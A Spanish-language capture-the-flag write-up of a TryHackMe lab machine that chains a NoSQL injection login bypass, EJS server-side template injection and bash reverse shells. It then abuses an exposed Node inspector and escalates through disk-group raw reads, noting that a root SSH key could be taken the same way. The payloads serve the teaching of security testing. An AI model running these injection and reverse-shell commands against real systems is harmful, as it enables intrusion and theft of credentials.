En este writeup, resolveremos la máquina Do Not Disturb de TryHackMe. Esta máquina forma parte del evento Hacker Holidays de este año (2026).
La metodología utilizada para resolver esta máquina, está basada en estándares de la industria como PTES (Penetration Testing Execution Standard), adaptado a la naturaleza del ejercicio:
- Fase 1 – Reconocimiento: descubrimiento de la superficie de ataque, en este caso únicamente mediante técnicas activas.
- Fase 2 – Modelado de amenazas: identificación de los servicios expuestos y sus vulnerabilidades.
- Fase 3 – Explotación: aprovechamiento de las vulnerabilidades para conseguir acceso al sistema.
- Fase 4 – Post-explotación: escalada de privilegios hasta comprometer por completo la máquina.
Fase 1 – Reconocimiento
En este tipo de entornos no es necesario realizar un descubrimiento de hosts, ya que únicamente tenemos un único objetivo que atacar. Por lo tanto, podemos pasar directamente al descubrimiento de puertos y la enumeración de servicios. Como en este caso el objetivo no es evadir defensas, podemos usar el siguiente comando de nmap, que ya nos devuelve los puertos y servicios que están corriendo. Destacar que en un entorno real este comando no es aconsejable por la cantidad de tráfico que genera. Consultar este artículo para más información (escaneo avanzado con nmap parte I)
sudo nmap -p- --open -sS -sC -sV --min-rate 2000 -Pn -n -vvv 10.128.170.215
En este caso, vemos cómo únicamente tiene el puerto 80 y el puerto 22 abiertos.

Fase 2 – Modelado de amenazas
Ahora que sabemos los puertos y servicios que está corriendo la máquina, vamos a analizar el puerto 80 para estudiar las vulnerabilidades que nos encontramos, con el objetivo de encontrar un vector de compromiso.
Una de las primeras cosas que hago es revisar el código fuente, para ver si hay algún comentario o alguna pista que nos pueda servir. En este caso, no vemos nada que nos sea de utilidad.
Por tanto, pasamos a la siguiente comprobación: utilizar Gobuster con el objetivo de listar directorios y descubrir ficheros expuestos que nos puedan revelar información de interés. En este caso, con Gobuster no encontramos nada interesante, así que tendremos que analizar otras vías.

Como lo único que tenemos es un login, una de las comprobaciones que podemos hacer es analizar si la web es vulnerable a una inyección y podemos bypassear ese login. Aquí es donde nos tenemos que fijar en el stack que corre esta máquina. La web corre Node.js y usa Express (lo delata la cabecera X-Powered-By: Express). Con este stack, lo más probable es que por detrás haya una base de datos NoSQL tipo MongoDB, así que en lugar de tirar directamente a una SQLi clásica, la primera apuesta es una NoSQL Injection.
Ojo, con esto no quiero establecer una generalización, simplemente es jugar con la probabilidad más alta; si el payload NoSQL falla, el plan B será volver a los payload SQL clásicos, pero fingerprintear el stack antes de elegir el tipo de inyección te ahorra unas cuantas horas.

¿En qué consiste una vulnerabilidad NoSQLi?
Básicamente es el mismo concepto que una inyección SQL de toda la vida, pero llevada al mundo de las bases de datos NoSQL. La idea es la siguiente: cuando hacemos login, por detrás la aplicación lanza una consulta parecida a:
findOne({
username: X,
passowrd: Y
})
El problema viene cuando la app coge el input del usuario y lo mete en la consulta sin comprobar que sea un string válido. En MongoDB podemos pasar operadores en vez de un string normal. Si en lugar de mandar una password mandamos password[$ne] =1, la consulta buscará aquel usuario cuyo username sea x y su contraseña NO sea 1, como la password real no es uno, la condición es cierta, el login nos deja acceder sin necesidad de conocer la password real.
Para hacer la prueba, arrancamos Burp Suite y probamos un payload muy sencillo. El operador $ne significa not equal (distinto de). Por lo tanto, con el siguiente payload estaremos buscando aquellas cuentas donde el usuario es attendant y la password no es 1 — es decir, cualquier password que no sea exactamente 1, que evidentemente se cumple:

Como podemos observar, la web es vulnerable a una NoSQLi muy sencilla. El servidor nos responde con un 302 y nos entrega una cookie de sesión válida. Lo único que tenemos que hacer es copiar la cookie connect.sid y añadirla en nuestro navegador; de esta forma habremos entrado en la cuenta.

Una vez añadida la cookie, recargamos y nos dirigimos a /staff.

Una vez en esta ruta, vemos cómo la web nos permite modificar los mensajes de confirmación de reserva, utilizando plantillas EJS. Lo lógico en estas situaciones es sospechar de un SSTI (Server-Side Template Injection); es decir, que modificando la plantilla podamos hacer que el servidor ejecute código.
¿Qué es SSTI?
SSTI es una vulnerabilidad que se da cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el lado del servidor. En este caso, podemos ver como podemos modificar mediante una plantilla el mensaje de bienvenida que se muestra a un cliente del hotel. Para confirmar la existencia de esta vulnerabilidad, probaremos un payload muy sencillo <%= 7*7 %> y si el mensaje aparece 49, significa que el servidor está ejecutando el código de la plantilla y se confirma la existencia de un SSTI.

Con esto damos por finalizada la Fase 2. Por un lado hemos comprobado que la aplicación es vulnerable a una inyección NoSQL y, por otro, que es vulnerable a SSTI. Notemos como la línea entre fases es muy fina: en este caso no solo hemos descubierto la vulnerabilidad NoSQLi, sino que también la hemos explotado, pero era necesario para poder seguir modelando las amenazas y descubrir la vulnerabilidad que usaremos en la fase de explotación.
Fase 3 – Explotación
Confirmado el SSTI, vamos a intentar ejecutar código remoto en el servidor. El objetivo será obtener una shell reversa y ganar acceso a la máquina.
En este caso, buscando en el repositorio de github de payload-box encontramos que para ejecutar código a nivel de sistema mediante esta técnica, podemos usar el siguiente payload, para ejecutar el comando id. Importante: hay que usar execSync, no exec a secas, o no veréis la salida:
<%= process.mainModule.require('child_process').execSync('id') %>

Se confirma que podemos ejecutar código a nivel de servidor. Por tanto, vamos a obtener una shell reversa
<%= process.mainModule.require('child_process').execSync("bash -c 'bash -i >& /dev/tcp/ip_atacante/puerto_atacante 0>&1'") %>
Ejecutando este payload, vemos cómo recibimos una shell reversa.

Fase 4 – Postexplotación
Una vez ganado el acceso inicial, procedemos con la escalada de privilegios. Analizando el directorio /opt vemos que existe un directorio del usuario pipelinesvc en el cual hay un fichero processor.js, que parece ser un programa de telemetría corriendo en segundo plano. Este programa, cada 5 segundos, mira la carga de la máquina y escribe una línea en el log, por lo que es de esperar que se haya lanzado como servicio en segundo plano.

El fichero en sí mismo no es explotable, lo interesante puede ser en como se ha ejecutado este programa. Por eso el siguiente paso es comprobar el proceso de node que lo lanza, ya que puede revelarnos cómo se ha arrancado. Con el comando ps aux vemos que el programa se lanzó con el flag –inspect=127.0.0.1:9229:

Tal y como explica la documentación oficial de node, el flag –inspect levanta el inspector/debugger al puerto especificado, en este caso el puerto 9229. Y aquí está el problema, como el debugger tiene acceso al entorno de ejecución de Node.js, cualquier actor que pueda alcanzar este puerto puede ejecutar código arbitrario en nombre del proceso. Y como este proceso corre como pipelinesvc, ejecutar código ahí nos convierte en pipelinesvc.
Revisando la entrada de Hacktricks donde explican como abusar del inspector en node.js, vemos que el comando que tenemos que usar para ejecutar comandos es
exec("process.mainModule.require('child_process').execSync("id").toString()")

Ahora nos pasamos una shell reversa a otro puerto, de manera que escalaremos al usuario pipelinesvc. Para ello uso el siguiente comando:
exec("process.mainModule.require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/ip_atacante/puerto_atacante 0>&1'\")")

Ya como pipelinesvc, ejecutamos id y vemos que el usuario forma parte del grupo disk. Esto llama la atención de inmediato. Investigando, en Linux los miembros del grupo disk tienen permisos de lectura/escritura sobre los dispositivos de bloque (block devices), lo cual implica que el usuario puede interactuar con los datos del disco a bajo nivel, independientemente de los permisos del sistema operativo. Es decir, podemos leer cualquier fichero del disco (incluido /root/) saltándonos la capa de permisos de Linux. Ya tenemos nuestra vía de escalada !!.
Vamos a usar el comando df -h y lsblk para encontrar donde reside el filesystem de root:

/dev/nvme0n1pi es la partición montada en /. Por tanto podemos usar el comando debugfs para listar el directorio root y ver los ficheros directamente del disco:

De esta manera, la máquina queda comprometida. Notemos que, si quisiéramos ganar persistencia, podríamos leer con el mismo método el fichero /root/.ssh/id_rsa (la clave privada) y obtener acceso root cómodo vía SSH, ya que el puerto 22 estaba abierto desde el principio.
Conclusiones
Esta máquina ha sido relativamente sencilla, pero encadena varias vulnerabilidades. Empezamos con una NoSQLi que nos permitió acceder al panel y descubrir un SSTI, con el que conseguimos ejecución de código y una shell como usuario de servicio. A partir de ahí, la escalada vino de un inspector de Node expuesto (--inspect) que nos llevó a pipelinesvc, y finalmente de una mala asignación del grupo disk, que nos dio lectura raw del disco y, con ella, el control total de la máquina.
Espero que os haya gustado, nos vemos en próximos artículos.